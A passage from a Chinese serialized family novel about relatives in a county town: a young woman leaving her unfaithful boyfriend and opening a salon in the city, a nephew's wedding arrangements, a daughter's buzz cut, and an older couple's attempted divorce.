赵如月有些意外:“发廊的事?” “嗯,磊哥说他对不起我,把那两家发廊都给我了,就当是给我的补偿。” “两家?另一家跟人合伙开的发廊,他也把别人的份额买下来,全给你了?” “是的,一家是我一直负责管理的那家发廊,另一家就是他说跟小亮合伙开的那家,除了发廊,我们住的房子也是在我名下,他也说给我了。” 一说到那家发廊,林丽丽露出一副恨得牙痒痒的样子:“之前你跟我说要看到黑子白字的合同,才能避免以后被坑,我那时候要看合同,磊哥各种推脱,后来竟然弄了个假合同给我看! 要不是他要买房,让我帮他去办手续,我查账查到开那家店前,有一笔钱转到了他初恋的账户,又炸出他初恋的话,我还不知道,那家发廊是他给他初恋开的! 小亮根本没出钱,全是他出的钱! 发廊放在小亮名下,让小亮给打掩护,他给我看的那个合同根本就是假的!怪不得当初非要把那家发廊开得跟网吧黏在一起,原来人家是想背着我跟初恋每天眉来眼去!” 林丽丽光是想想,自己在外面以磊哥老婆自居的时候,别人表面上尊敬她,管她叫大嫂,背地里可能会怎么笑话自己的,心里就来气,觉得面子全丢光了。 “我跑去找磊哥大闹了一场,他说我不识大体,不适合结婚,要跟他初恋结婚了,这触到了我的逆鳞,这一次我绝对不会再回头了。 三婶,你去市里的次数多,知不知道市里哪里开发廊比较好?我想把县城的发廊和房子全卖了,离开这个伤心之地。” “这个我还真不知道,不过如果你真决定了要去,我可以陪你去找找,顺便就当去市里散散心怎么样?” “谢谢三婶,我这么突然跑来,打扰你们休息了,那我先回去了。” 赵如月看着外面黑漆漆的天色,不放心她一个人回去,叫上宁绍明跟自己一起去送她回家,一路把人安全送到家后,他们才折返回来。 回到家,三个孩子已经吃完东西,收拾好饭桌,各自去洗澡睡觉了。 林丽丽回家后才想起,孙佳佳现在也买了手机,自己其实可以给她打电话倾诉,完全不用那么晚还去打扰赵如月,让人家这么折腾,大晚上还要送自己回家。 孙佳佳接到林丽丽的电话,本来想跟她分享自己即将跟宁时春结婚的喜悦,听到她要跟磊哥分手的事,只好把自己想说的咽进肚子里,先安慰好朋友。 宁时春孙佳佳知道开店赚钱,却没想到这么赚。 一年多的时间,他不但赚够了还给三叔三婶的钱,连彩礼都赚够了。 甚至还完钱,还能剩下一些用来办喜酒。 于是他就跟孙佳佳商量,先把喜酒办了,这样一来在镇上的人眼中,他跟孙佳佳就算是结婚了。 至于结婚证,孙佳佳和宁时春同龄,但法定领证的年龄男女不一样,孙佳佳已经到了可以领证的年龄,宁时春却还没到。 不过等明年宁时春满二十二岁就可以去领证了,距离办酒的时间也没过多久,很多人也是先办喜酒才领的证。 他们找了个时间,带着钱去三叔家还钱。 两个人喜滋滋地顺便把他们想办酒的想法,跟赵如月和宁绍明说了。 赵如月一听就说:“那还着什么急还钱,你们先把这钱拿去买房吧,要不结婚后,你还带着你媳妇儿回去跟你妈一起住?那多麻烦。” 孙佳佳听到赵如月的话心里一喜,宁时春的妈妈不喜欢她这件事,她心里很清楚,所以也不想结婚后跟婆婆一起住。 可当初她跟宁时春能在一起不容易,她不想再闹出事端来,影响自己的婚事,只好一直忍着不说,只想着等结婚后,再想办法劝宁时春在县城买房。 比如怀孕生孩子,以后让孩子在县城读书,就是个不错的劝宁时春在县城买房借口。 没想到这次来会有这样的惊喜,三婶又帮了大忙! 孙佳佳简直控制不住自己感激的眼神。 她心里激动得不行,但只能悄悄用左手仅仅掐住右手,控制住自己,别表现得太明显,也别在这时候乱说话。 宁时春边把钱推过去给他们,边着急地说道:“这怎么行,房子以后挣了钱也一样,我得先把钱还给你们。” “那怎么能一样?”宁绍明也觉得赵如月说得有道理,把钱又给宁时春推回去,“你想想以前我跟你三婶刚在县城买房的时候,那房子多便宜,才过几年,涨了多少?听我们的,你先去买房。” 宁绍明现在跟赵如月一样,遇上个他们觉得有能力买房的人就劝人家买房,当然如果不是关系特别好的人,他们也不会多嘴。 宁时春最后还是拗不过他三叔三婶,把钱拿回去,没过几天就看好了房子,付了首付。 他和孙佳佳结婚的事,也摆上了日程。 但这时候,很让他们意外的事发生了。 孙佳佳的父母竟然不如最开始的那时候,把彩礼的数额咬得那么死了,还特别好说话。 这让去跟他们谈儿女结婚走礼事宜的王海燕都惊讶不已。 跟他们谈完后,王海燕跑来跟赵如月纳罕道:“还真是奇了,当初那么死要钱的人,竟然也会舍得给出嫁的闺女钱,当初佳佳她爸妈说什么来着?自己养大闺女不容易,那彩礼就是给他们的补偿,不可能给她带回婆家。 嫁妆最多给几床棉花被,再买两身新衣裳,现在可真是太阳打西边出来了,竟然愿意让佳佳带回来一半彩礼当嫁妆。” 要是一开始对方说自己不准备嫁妆,要用彩礼的一半当嫁妆让孙佳佳带回来,王海燕指定不高兴。 但当初闹了那么一场,孙佳佳能带回来一半彩礼,王海燕就欣喜不已,看孙佳佳也觉得顺眼多了。 宁时春不用为了平衡她和孙佳佳的关系而左右为难,是最高兴的一个。 只有孙佳佳知道,她爸妈不是突然变成不贪图钱财的大好人了,而是她弟也上初中了,眼瞧着成绩不行,又爱跟镇上那些坏孩子到处混,以后肯定没什么出息。 她爸妈没本事、没门路给她弟安排以后的工作,又不舍得她弟跟老乡出去打工,以后离家太远,没人照顾。 这才无利不起早,想起她这个女儿的好来。 赏她一点甜头,好让她以后帮衬弟弟。 孙佳佳只觉得可笑,他们赏自己的那点甜头,还是卖她得来的。 第137章 比起宁时春和孙佳佳的婚事还要双方家长慢慢商量,林丽丽转让店铺、卖房子的速度就快多了。 林丽丽也是个雷厉风行的性子,她的发廊生意还特别好,一说转让,很快就找到了愿意接手的人。 房子不如店铺那么快,但也不难卖,她愿意让利,降低一点价格卖出去,来看房的人就多了不少。 赵如月看她动作这么迅速,确实像是动真格了,也开始帮她跟人打听起市里的店铺和房子。 不然她们一起去市里看的时候,总不能跟个无头苍蝇似的,得提前打听好划定一个范围才行。 等赵如月打听好,正要跟林丽丽说时,却在县城的街上,遇到了挽着对象的手,甜甜蜜蜜逛街的林丽丽。 赵如月无语了,她看林丽丽又是卖店铺、又是卖房子的,闹这么大,还以为林丽丽跟那个磊哥真断了。 结果自己帮忙打听半天,人家转头又和好了…… 他们没看到赵如月,赵如月就没上前去跟他们打招呼。 只是给林丽丽发信息,让林丽丽抽空来自己店里,打算到时候再问她怎么回事,还要不要去市里置业了? 林丽丽是过了两天才去赵如月店里找她。 赵如月也没拐弯抹角,拐弯抹角林丽丽听不懂。 她直接问:“你跟你那对象是怎么回事?又和好了?” 林丽丽摆手:“哪有的事,我跟他不可能再在一起了。” “我前几天给你发信息的时候,还看到你跟他一起逛街了,那样子看起来可不像闹掰了。” 林丽丽说:“那个时候啊,我是气不过,故意恶心某个人。” “又是他那个初恋?到底怎么回事,你仔细跟我说说。” “就是他那个初恋,当初我跟磊哥在一起的时候,他们都分手好久了,我可没当第三者插足人家的感情,结果她呢? 回县城后看到磊哥做出了一点成就,有家底了,就跟磊哥眉来眼去藕断丝连的,还拿腔拿调说什么他已经有新女朋友了,不能破坏他和我的感情,愿意默默等着她,真不愿意破坏别人的感情,那就离我们远点啊!” 赵如月点头,就她那样,做出背着人家女朋友暗度陈仓,让男的也给她开发廊的事,怎么看也不想她自己嘴里说的那样,不想插足别人感情。 真不想插足别人的感情,就该避嫌,离林丽丽和她对象远一点。 “这还不是最气人的,最气人的是她竟然跑去找我,说什么我跟磊哥已经分手了,她不同意磊哥把那两间发廊和那套房子给我,她以后才是磊哥老婆,有资格把东西要回去,让我把东西全还给她!” “你没还吧?”真还给回去,那就是大傻子! 林丽丽当然没还:“磊哥还没跟她求婚呢,只是在跟我吵架的时候说过她工作稳定,文化高、识大体,也许会考虑跟她结婚。 可他们还没领证,也没订婚,她算磊哥哪门子的老婆! 就算是未来老婆,没结婚之前,她也没资格对磊哥的东西指手画脚,更何况那些东西都是我跟磊哥在一起的时候,帮着他打拼出来的,有那女人什么事!你说对吧三婶?” “没错,你也就是亏在当初是以他女朋友的身份,跟他一起打拼,创业这种事,一旦沾上男女朋友、夫妻这样的身份,别人往往就会忽视你在这层身份之下的合伙人属性,要是你们都是男的,一起打拼创业,你也许能拿到的更多。” 就赵如月知道的,那个磊哥的网吧,林丽丽也出力不少,连赵如月曾经也看在林丽丽的面子上,过去那个网吧帮过好几次忙。 还有房子,其实那男的有好多套房子,林丽丽只分走了一套。 如果林丽丽以合伙人的身份跟他一起创业,她不会一直被感情蒙蔽双眼,一套房子都不给自己买,车子也只有个女士小摩托。 至少也会买个两三套房子放在自己名下,甚至有可能像一些需要别墅、好车装点门面的生意人一样,给自己弄套别墅、买辆好点的车子撑撑场面。 赵如月又听林丽丽说:“其实我跟磊哥说是分手了,也还没正式分呢,他还有些饭局,组局的是跟我比较熟悉的人,需要我去帮他撑场面,所以我们只是约好了要分手,过段时间才正式分,但我可以保证,帮他应付完那些饭局后,我是真的要跟他分手,去市里发展了。” 赵如月:“……” 这就是所谓的分了,但没完全分?还是微分? 她无法理解这些年轻人的感情世界,只能尊重。 “我觉得你还是尽快解决掉县里这些事,别被他们一直拖着,跟他们纠缠在一起,只会消耗你自己。” “我知道的三婶,我上次请你帮我打听市里铺面的事情,不知道打听得怎么样了?” “已经问过了,市里有两个区比较合适,治安好,环境也好,不容易遇到一些乱七八糟的人,那两个区的房子也不错,我这段时间都有空,你看看你什么时候有空我们可以去看看,要不等佳佳和小春的婚事谈好,要开始走礼,我可能就不太有空了。” 作为男方家比较亲近的亲戚,她这个女性长辈是需要帮忙带礼物上门好几次的,办喜酒的时候,她和宁绍明也要去帮忙。 现在很多发廊带有色。情性质,尤其在一些治安不那么好的区,还有靠近城中村的地方,那样的店尤其多。 林丽丽自己开店,赵如月就尽量帮她选了环境好一点,相对价格有点贵,但不是市里最贵的地方。 “什么!”林丽丽听完赵如月的话,大吃一惊,但让她吃惊的却不是铺面和房子的事,而是孙佳佳和宁时春药结婚了,自己去不知道! “三婶,你说佳佳和宁时春要结婚了?她竟然不告诉我,我不会是最后一个知道的吧?” 赵如月也没想到孙佳佳竟然没跟林丽丽说,不过她简单想了想就明白了,这大概是怎么回事:“可能佳佳知道你最近在跟你对象闹分手,她觉得好朋友分手,自己却要办喜事,不知道该怎么跟你说?” “估计是了,佳佳就是这个性子,总是顾虑太多。”林丽丽也很了解孙佳佳,一想到她的性格就释然了,“不过我可不能就这么放过她,我这就找她问问去,让她好好补偿补偿我受伤的心灵!三婶我先走了,不打扰你干活了。” “嗯,你去吧。” 林丽丽跑去找孙佳佳了,赵如月来到前面帮店员给客人找包裹。 现在在网上买东西的人越来越多了。 她两个点都开了代存快递业务,以前只有一个人负责代充话费、代网购和代存快递业务,但负责这些的人工作量不算大。 现在由两个人来负责,空闲的时候挺闲,但一忙起来也是脚打后脑勺的忙。 这时候赵如月就会暂时放下手里修东西的活,出来给她们帮忙。 “老板,我来取快递。” “稍等一下,我正在帮别人找,下一个就轮到你。”赵如月翻找了一下,找到前一个客人的快递,转过身去一抬头,被面前夸张的爆炸头吓了一跳。 那支棱得跟刺猬一样的头发,厚厚的、遮住半只眼睛的斜刘海,紧身背心吊裆裤,潮得她以为大夏天遇上了梅雨季。 现在非主流已经在年轻人里流行起来了吗? 赵如月无法理解但对此表示尊重,她已经不会把这些年轻人的装扮看成异类。 反而是柜台外的年轻人看她神态那么自然,还有点诧异,自从他走进来,店里其他人都忍不住偷看他。 他已经习惯了别人看自己时异样的眼神,遇上不觉得他奇怪的,他还觉得奇怪起来了。 取了快递后,这潮男走出去,对伙伴说:“这家可以来,老板看到我淡定得很,听说修手机价格也公道,别家下载音乐都涨价了,她家没涨过。” 于是赵如月家的快递和找他们店代网购的人更多了,新增的客人几乎都是潮男潮女们。 连带着她家的手机都卖出去不少,充话费他们也喜欢来她这里充。 以前赵如月也没见过这些潮男潮女们,但自从店里出现过一个之后,她在店里就能经常见到了。 尤其是她家店旁边的一家杂货店关门转让,盘下那铺面的人,新开了一家奶茶店后,喜欢在这附近徘徊的年轻人更多了。 见多了之后,赵如月跟他们混熟,问起来才知道,这些潮流小年轻很多都在对面工业区的流水线上当工人。 他们这些人以前很多都出去外面打工,但自从工业园成功建起来,招商引资引来不少企业后,近两年出去打工的人里,有一部分不想离家太远的,就选择了工业园里的工厂干活。 以前他们在工业区另一边大门出入,那边也有手机店,他们在那边的店消费比较多,但最近有人发现被坑了。 就想换个地方,刚好有朋友推荐,就一窝蜂过来了。 赵如月估计,他们以前常去的那家店老板肠子都要悔青了。 这些年轻人绝大部分没有存钱的概念,兜里有了钱,看到有新款的手机就想买。 二手手机也卖给赵如月家的店。 最近刚好新出了一款好看的滑盖手机,赵如月店里卖出不少,大部分都是这些年轻人买的。 赵如月回家,问正在上初中的儿子:“你们学校,现在有头发衣服造型夸张的同学吗?” “妈妈,你是说非主流吗?我们班没有,但初三有几个,他们现在是我们学校的风云人物。” 赵如月看看儿子,有些欲言又止,别人家孩子打扮成那样,她管不着,但要是自家孩子遮着半个眼睛,她每天看到,肯定感觉很别扭。 而且可能还会影响视力。 可万一孩子真喜欢,她阻止了算不算过多干涉孩子的爱好? 毕竟那只是一种打扮。 宁时秋一看他妈妈这样子,就猜到她想说什么了。 “妈妈,你不用担心我,我不喜欢那种打扮,我喜欢越简单越好的,身上最好什么佩饰都没有。”小学戴红领巾挂班牌,他都觉得特别麻烦,更别说他看到学校那几个风云人物还带各种链子、戒指…… “那我就放心了,其实我就是担心留刘海影响视力,真被影响的话,以后想回复就难了。” 坐旁边的宁时夏也说:“妈妈你也不用担心我,我也喜欢越简单约好。” 赵如月笑着说:“我们家小夏最乖了。” “是的是的,”宁时夏凑过去抱住她的手臂,“那我可以剃一个跟哥哥一样的发型吗?” “啊?”刚夸完她最乖的赵如月懵了,“你也想剃寸头?” 宁时夏一脸期待:“嗯!可以吗?” 赵如月下意识想说女孩子不能剃寸头,可转念一想,谁规定女孩子不能剃寸头了? “你可要想好了,保证不后悔的话,妈妈就给你剃。”家里有剃头发的工具,宁绍明、宁时夏和姚据的头发都是她动手帮修理的。 宁时夏欢呼一声,立刻保证:“我不后悔,绝对不后悔!” 赵如月转头就看到宁绍明一脸怨念:“你这是什么表情?小夏问过你了,你不答应?” 宁绍明点头又摇头:“咱闺女确实问过我了,但是我没不答应,我说让她来问你。” 他漂漂亮亮可可爱爱的闺女,马上要变成假小子了,本来好好的一儿一女,要变成俩‘儿子’,他可不得难受嘛。 赵如月懂了,他以为自己一定不会答应,结果自己答应了。 她好笑道:“哎呀呀,这可怎么办,你也不提前跟我说一声。” 宁绍明眼神更幽怨了:“咱俩的默契呢?” “可能上次天狗食月,被天狗吃了吧。” 宁绍明:“……” 宁时夏听到妈妈的话,毫不顾忌她爸的怨念,哈哈大笑起来。 准备要洗澡前,她就催着赵如月先给自己剃头,可懂得不少:“妈妈,我先剃头发然后再去洗澡,脖子才不会被碎发扎得难受。” 一家四口,三个人都赞成宁时夏剪头发,宁绍明单打独斗也一直挣扎到宁时夏剃头的前一刻,劝闺女:“小夏,要不咱们剪个蘑菇头,像一朵小蘑菇一样多可爱多好看!” 宁时夏:“不,我不要剪蘑菇头,我们年级就有人剪蘑菇头,看起来像个小傻子,而且还要梳头搭理,夏天还热得慌,剃寸头方便,随便一洗一抹就干了,还不用梳头发扎头发,夏天还特别凉快。” “那要不剪短发?那个也好打理。” “不要。” 直到锥子把宁时夏头发剃下来的那一刻,宁绍明才死心了,就是唉声叹气的。 赵如月都懒得搭理他,也不知道男人都怎么想的,难道头发剃了就不是他闺女了? 事实证明,闺女还是闺女,宁绍明也就别扭几天,然后闺女跟他撒个娇,他就自己把自己调理好了。 倒是宁时夏剃头的那天晚上,姚据没在他们家睡觉,没能第一时间看到。 第二天上学,没第一时间认出宁时夏,见到宁时秋牵着一个小男孩来学校,没带宁时夏来,而且还对这个小男孩特别照顾的样子。 姚据还为宁时夏愤愤不平,觉得别人分走了宁时夏哥哥对她的爱。 他立刻跑过去想质问宁时秋,隔老远就冲着宁时秋喊:“小秋,小夏呢?你手上牵的谁家的小孩?” 结果宁时秋牵着的那矮小子一转头,笑嘻嘻地冲他挥手大笑:“锯子哥,是我!怎么样我帅不帅?” 姚据一个急刹车,不可置信地看着宁时夏的头:“你你你,原来你是男孩子?” 宁时秋和宁时夏:“……” “你这什么眼神?”宁时秋嫌弃地瞥他一眼,“你再仔细看看呢?” 姚据围着宁时夏看了一圈:“看不出来。” 宁时夏本来遗传了父母的白皮肤,但是她成天在太阳底下到处跑,生生给自己晒得像个黑小子,到冬天才会白回来。 宁时秋无奈地说:“那今天放学你跟我回家吃饭,我把我家户口本拿出来给你看。” 姚据还真点头说:“好。” 又看向宁时夏夸她:“你还确实挺帅的,比你哥帅多了。” 宁时秋:“……”你说你夸她就夸她,怎么非得捎带上我…… 然后放学的时候,姚据还真跟他们回去看了户口本,把宁时秋都给整无语了。 * 赵如月本来以为按照林丽丽跟她对象那剪不断理还乱的关系,她去市里开店买房的事情,可能得拖延到孙佳佳结婚之后。 没想到林丽丽这次真的跟以前不一样了,说帮她对象应付完那几个饭局就分手,应付完之后,她还真果断分手了。 一分手,立刻马不停蹄地约了赵如月去市里看店铺和房子。 只去看过一次,当天直接定下,没过几天已经在筹备装修的事。 后来她前对象又有饭局想请林丽丽出马,甚至说如果林丽丽愿意帮忙,他会跟林丽丽复合。 当初那么爱他,连知道他私底下还跟初恋有联系都不在乎的林丽丽,这次完全不为所动。 真的分手后,就没再回头,专注起自己的事业来。 赵如月给林丽丽介绍了自己以前用的那个装修公司。 那装修公司在县城的生意好,也想往市里扩张。 但市里的竞争比县城激烈很多,他们有没有什么背景靠山,也不是本地人,在市里的业务进展得很慢。 老熟客突然给介绍了这么一单生意,高兴得不行,直说要给赵如月介绍费。 赵如月没能推脱掉,拿到介绍费之后,转手又给了林丽丽。 林丽丽本来也不想收,可县城的房子和店铺的价格毕竟不如市里贵,她卖掉县城店铺和房子的钱,在市里想全款买都不行。 在付了首付贷款买了铺子和房子之后,她手头的钱不但要装修还要留着开店,也不太宽裕。 再加上年纪小,禁不住赵如月的劝,赵如月说这钱本来就该返给她,熟人之间都这样,她就只好收了这笔钱。 后来林丽丽很庆幸,幸好自己没要面子坚持拒绝,收了这笔钱。 因为后来她的钱全投进店铺里,还是靠着这笔钱当生活费,才熬到开店有收入的时候,没因为生活费不够而找别人借钱。 林丽丽那边开店铺忙忙碌碌,另一边孙佳佳和宁时春也在忙着筹备他们的婚事。 孙佳佳和宁时春在确定要结婚之后,男方这边就要开始按照习俗走礼。 哪怕是自由恋爱,要结婚的时候,他们也得按照本地习俗的步骤一步步来。 先是男方这边去提亲,问八字,算八字,再是双方父母和亲戚一起吃顿饭。 本来这是男女双方见家长的过程,但因为两家离得近,早就认识了,这个步骤也就是走个过场。 之后再过一段时间,挑个吉利的日子,男方给女方送彩礼,这也相当于是订婚。 宁绍贤已经刑满释放,这件事就得由宁绍贤和王海燕来操持,宁时春觉得让他爸去很丢脸,却也不能不让他去。 其他亲戚只需要帮忙提着礼物去女方家,然后在女方家吃一顿饭。 订完婚之后,还要送一次礼,问婚期,而婚期是女方这边的长辈去找人算的,但是算婚期的钱,男方得出。 最后才是婚礼,接新娘,办喜酒。 宁家在宁绍明结婚之后,已经好多年没办过喜事,这次难得遇上喜事,很多亲戚都来了。 叶菁本来想着,趁着这次机会,让亲戚们劝一劝宁绍明,毕竟是一家子血亲兄弟,哪能一直记仇那么久? 可她忘了,今时不同往日,宁绍明现在是宁家这一代最有出息的人,其他亲戚都盼着宁绍明拉一把自己家孩子,巴结他家还来不及,怎么可能会为了她和宁老二去得罪宁绍明? 更何况宁老二做的事也不占理,当初宁老二得意的时候,可没帮衬过亲戚一点,于情于理他们都没有理由帮他说话。 于是宁时春结婚的整个流程期间,没有一个亲戚在宁绍明和赵如月面前,提起宁绍明和他二哥闹掰这件事。 宁时春原本都不想请他们来参加,可宁绍贤说那是他亲二叔,不请不像话,非要把宁老二一家也请来。 给宁时春气得不行,办完喜酒后,没按照习俗在家里待一段时间,第二天就带着老婆去县城他买的房子里住了。 婚后第三天去女方家回门,也是直接自己买了礼品,从县城回去。 王海燕气宁绍贤把儿子气走,见天跟他吵架。 第138章 现在王海燕可不是曾经那个需要依靠丈夫过活,面对丈夫只能落下风的窝囊农村妇女了。 她觉得宁绍贤不在的时候,自己帮宁绍贤照顾他父母,不说别的,单就这一件事,她对这个家就有功! 以前家里的地全在宁绍贤名下,她什么都没有。 现在她自己名下也有了一些田地和菜地,那些田地的面积虽然不大,但如果只养她自己一个人,也完全够用了。 更别说镇上的景点改造已经快完工,她参加了镇上的培训,打从一开始培训时就非常认真,得了好几次培训优秀学员称号。 景区开发公司和镇上的负责人在培训之前都说过,以后有好工作,会优先安排得过优秀学员称号的人,而她这样的得过好几次的人,在所有培训的人里算是名列前茅,肯定不愁活干了。 而且她的儿女现在已经算是长大了,儿子取了媳妇儿,在县城买了房子,就算宁绍贤把她赶出去,她也照样有地方住,她还怕什么? 可是宁绍贤的脑子还停留在他坐牢之前,那时候他爸妈还很健康,即使他做出欠一大笔债的事,他们也会想方设法帮他解决,给他兜底。 老婆在家就该以夫为天,就该看着他脸色过活,就该好好伺候他,伺候他爸妈也是他老婆的责任。 虽然以前他们有时候也有争吵,但王海燕在他面前极少占过上风,有时候看起来占了上风,其实也是他故意让她觉得自己赢了,好处王海燕那是一点没捞着。 王海燕翅膀硬了,敢这么吵他,他不但吵不过,还占不到一点好处,这让宁绍贤大为光火。 宁绍贤不觉得王海燕照顾自己父母是帮他照顾,理所当然地觉得,她就该这么干,哪家儿媳妇不这么干,才该被人戳脊梁骨骂。 每次看王海燕拿这个出来说事邀功,宁绍贤就觉得她真是不知所谓! 真不知道她娘家是怎么教她的。 两个人结婚二十几年,儿子都娶了媳妇儿,自己也是快要当爷爷奶奶的年纪了,宁绍贤遇到事,竟然还要去迁怒别人娘家。 “我就没见过哪家人能教出你这样的女人,贤惠持家是本分,你见谁为自己家做点事,还嚷嚷着让人感恩报答的?真是笑话! 你真以为你自己做的那点事有多牛吗?不就是干点家务活,好像什么稀罕玩意儿似的,谁还不会了?就没见谁家媳妇儿像你这样!” 王海燕真是被他气笑了:“好好好,你宁绍贤不稀罕是吧,你爱稀罕不稀罕,老娘还不伺候了!” 她干脆单方面决定,就算同住在一个屋檐下,以后也只做自己那份饭菜,洗自己的衣服鞋袜碗筷。 王海燕还跟宁绍贤分房睡了,家里的房间不够,儿子的房间现在是儿子儿媳住,她不好住进去。 好在还有女儿的房间,宁丹萍去学校的时候,她的房间空着,王海燕给宁丹萍打电话说了一声,就把自己的东西搬到宁丹萍的房间,单独住在那里,以后只打扫自己的房间。 宁绍贤一开始还没发觉什么,只发现她把自己的东西从他们俩的房间搬出去了。 但结婚二十几年,这种事以前他们吵架的时候,也不是没发生过。 以前吵架,吵到把王海燕气得跑回娘家的事都有,宁绍贤完全没把她搬出房间这点事放在心上。 宁绍贤刚出狱没多久,正是觉得外面的空气尤其清新自由的时候。 他非常想念外面的食物,觉得家里的饭菜想什么时候吃都能吃到,所以现在他兜里但凡有点钱,一日三餐就爱到集上去买着吃。 因为镇上要变成景点,各个店铺的经营时间延长不少,也有人卖饭了,他晚饭也能在外面吃。 等到他兜里那点钱花完,想回家吃饭的时候,看着空荡荡没有一点食材,甚至连油盐酱油都不见了的厨房,傻眼了。 王海燕正憋着气呢。 看到他这样子心里舒爽得很,嘲讽道:“不是不稀罕我做的那点家务事?那以后咱们各做各的,别想老娘在当牛做马伺候你!” 宁绍贤没想过回自己家都没饭吃,再一看房间里还乱糟糟的,自己的脏衣服堆了一大堆没洗,想换都没得换,他一下就破防了。 他可以嫌弃,但王海燕怎么敢真的不做?! 宁绍贤放下狠话:“你再敢作妖,我们俩就离婚!” 王海燕猝不及防之下听到这样她完全没预料到他会说的话,心头猛地一跳。 但还是压住心里的不适,梗着脖子说:“你以为我怕你!还当老娘是当年一无所有,离了婚没处去的时候呢? 我告诉你,儿女现在都长大了,用不着我再操心,要离婚我也不怕你!以前你不管孩子,他们可都是我带大的,全向着我,我可不是没有依靠的人! 你别想再拿捏着这事在我面前耍威风!” 宁绍贤听着这话,面色难看,因为王海燕说的基本上都是事实。 他自己心里很清楚,如果没有蹲过大牢,他还能仗着手里捏着家里的房子和田地,赌儿子为了这些,大概率不会向着王海燕。 至于女儿?宁绍贤觉得那以后都是要嫁出去的人,她向着谁影响不大。 可现在不但王海燕翅膀硬了,儿子靠着老三,翅膀也硬了。 他儿子在县城买了房子和店面,以后直接把户口转到城里,当城里人都行,哪还稀罕乡下的老院子和面朝黄土背朝天,累得半死都挣不到几个钱的田地? 在宁绍贤这一代人眼里,城里户口就是高级就是好,所以即使现在镇上开发了景区,即将在家门口就能挣到钱,他也下意识觉得农村户口就是不如城市户口。 可即便宁绍贤什么都清楚,在面对一直以来在家里地位都不如自己的王海燕,他还是很不服气。 对于王海燕这样胆敢忤逆威胁自己,跟自己作对,死不悔改的态度恼火不已。 他不愿意面对这样的改变:“不怕离婚是吧?那你现在马上滚出我家!” 听到这句话,王海燕脸色十分难看,心里也难受得紧。 她觉得很心酸,嫁过来二十几年了,在吵架的时候,还要被丈夫骂滚出他家。 这让王海燕怀疑自己这二十几年来对这个家的付出到底值不值得,这真的是自己的家吗? 不过不管是不是,她现在都不可能按照宁绍贤的话去做,不会让他如意。 “我为这个家付出那么多,你凭什么要我滚,真离婚,这个家也有我的一半!你休想卸磨杀驴撇开我独占!” 王海燕也只是在电视上看到这么一个说法,现实中到底是不是真的她自己也不知道,只能仗着宁绍贤被关了几年,不一定懂这个,才拿出来说事。 宁绍贤还要再跟她吵,住在隔壁的宁达推着黄秀华回来,听到了他们争吵,安顿好黄秀华后,赶紧过来劝架。 “绍贤你少说几句,这才回来多少天,就跟你媳妇儿吵架?再嚷嚷你就过去跟我住,帮我一起照顾你妈!你妈生病的时候你不在,不出钱,合该多出点力!” 宁达一说到这个,宁绍贤顿时怂了,因为他爸要是真拉着过去,一起照顾他妈,不说家里的兄弟姐妹和亲戚,就是镇上的所有人都觉得这是他应该做的。 宁绍贤不怕得罪自家人,就怕自己在镇上和外人面前没面子,以后镇上的朋友都不跟他来往。 他以前最喜欢呼朋引伴,跟一群人喝酒吃肉吹牛侃大山,自得于自己认识的人多。 可他蹲过监狱这事影响比较大,很多以前的朋友都不怎么爱搭理他了。 有些还愿意搭理他的人,那些人的家里人见他们凑在一起也不高兴,总是防着他,怕他把人家带坏。 要是再传出亲妈生病,他不出钱也不出力这种不孝的坏名声,以后愿意跟他玩的人就更少了。 宁绍贤立刻噤了声。 宁达安抚了王海燕几句,让她别生气,说她在宁绍贤不在的时候,替他照顾他妈,这些事自己和其他人都看在眼里,他肯定不许宁绍贤忘恩负义。 王海燕刚才说得厉害,其实她本来就没想过要离婚,担心离婚会被人说三道四,还会让自己而儿女和娘家人在别人面前抬不起头来。 宁达一劝,她就顺着台阶下来了。 但她心里怎么想的,别人也不知道。 赵如月听说在这时的时候,还感叹王海燕现在真是跟以前不一样了。 人有了底气,连离婚都不怕,很有点觉醒了的样子。 直到过了一段时间,宁绍贤不知道跑去了哪里一段时间。 回来后,竟然真的要跟王海燕离婚,王海燕一开始还以为他又用这个威胁自己,跟他吵了半天。 吵到后面,宁绍贤真找出户口本和结婚证,拉着她要去县城民政局离婚。 两人真坐在办理离婚手续的工作人员面前,人家跟他们确认:“你们俩结婚这么多年,孩子应该挺大了,离婚的话,很有可能影响孩子以后的婚嫁,真确定要离婚吗?” 宁绍贤毫不犹豫地说确定的时候。 王海燕这才明白,宁绍贤竟然是来真的! 王海燕当即就崩溃了,整个人吓得六神无主,只知道嚎啕大哭,大喊着:“不离,我不离婚,我死都不离婚!有本事你杀了我,我就是死也要死在老宁家,埋进老宁家祖坟!” 她心想:要是真离了,自己就算能回娘家住到死,死了也是不能埋进自家坟地里的呀! 王海燕慌得甚至都想不起给自己的两个孩子打电话,还是民政局那边有个工作人员也是榕溪镇上的人,知道这是宁绍明的大哥大嫂,给宁绍明打了电话,让他赶紧过来一趟。 赵如月和宁绍明一起赶过去,听了王海燕的哭诉才知道,王海燕并不是觉醒了。 只是儿女长大了,自己又有了田地,这两样在她眼里就是给自己婚姻上的保险,成为了她巩固自己婚姻的倚仗。 再加上她觉得自己跟宁绍贤年纪也那么大了,真离了婚,宁绍贤没钱也不好再娶,认为他肯定也不会真离,都是说出来吓唬她而已。 这桩桩件件,让王海燕觉得自己的婚姻牢靠得不能再牢靠,自己不需要再忍气吞声婚姻也不会出现问题,才让她显得像是觉醒了一样勇。 宁时春赶来的路上,骑着他结婚时刚买的摩托,顺便去宁丹萍学校把她一起接来了。 儿女跟着一起劝,嘴巴都说干了,宁绍贤还是不为所动,依然要离婚,催着人家民政局的工作人员给自己办。 最后还是民政局的工作人员说:“我们今天不能给你办理,离婚要双方都同意才行,如果有一方不同意的话,你只能起诉离婚,等法院判离,我们才能给你办离婚手续。” 宁绍贤再三询问,得到的都是这个答案,他还跑去问民政局里排队号码在他们后面的其他要离婚的夫妻。 有些夫妻不知道这个,还是听了他说的话才知道。 直到问到一对文质彬彬看起来就很有文化的夫妻,人家告诉他确实是那样,他才罢休。 宁绍贤得知人家工作人员不是为了劝他们不离婚而诓骗自己,才懊恼地离开了民政局。 离开前,他看也没看自己痛哭的妻子和心焦难过的儿女一眼。 宁时春和宁丹萍赶过来后,接手了这事,赵如月和宁绍明就回去了。 因为不知道宁时春晚上能不能从镇上赶回县城的家,赵如月就给孙佳佳打电话,让她忙完了就来自己这边吃晚饭。 孙佳佳问起她公公婆婆的事。 赵如月觉得她公公婆婆的事,在电话里一时半会儿也说不清楚,就说等她过来吃饭的时候再当面说。 孙佳佳听说公婆要离婚,留在店里干活也是心不在焉,看着店里今天准备的食材消耗得差不多没了。 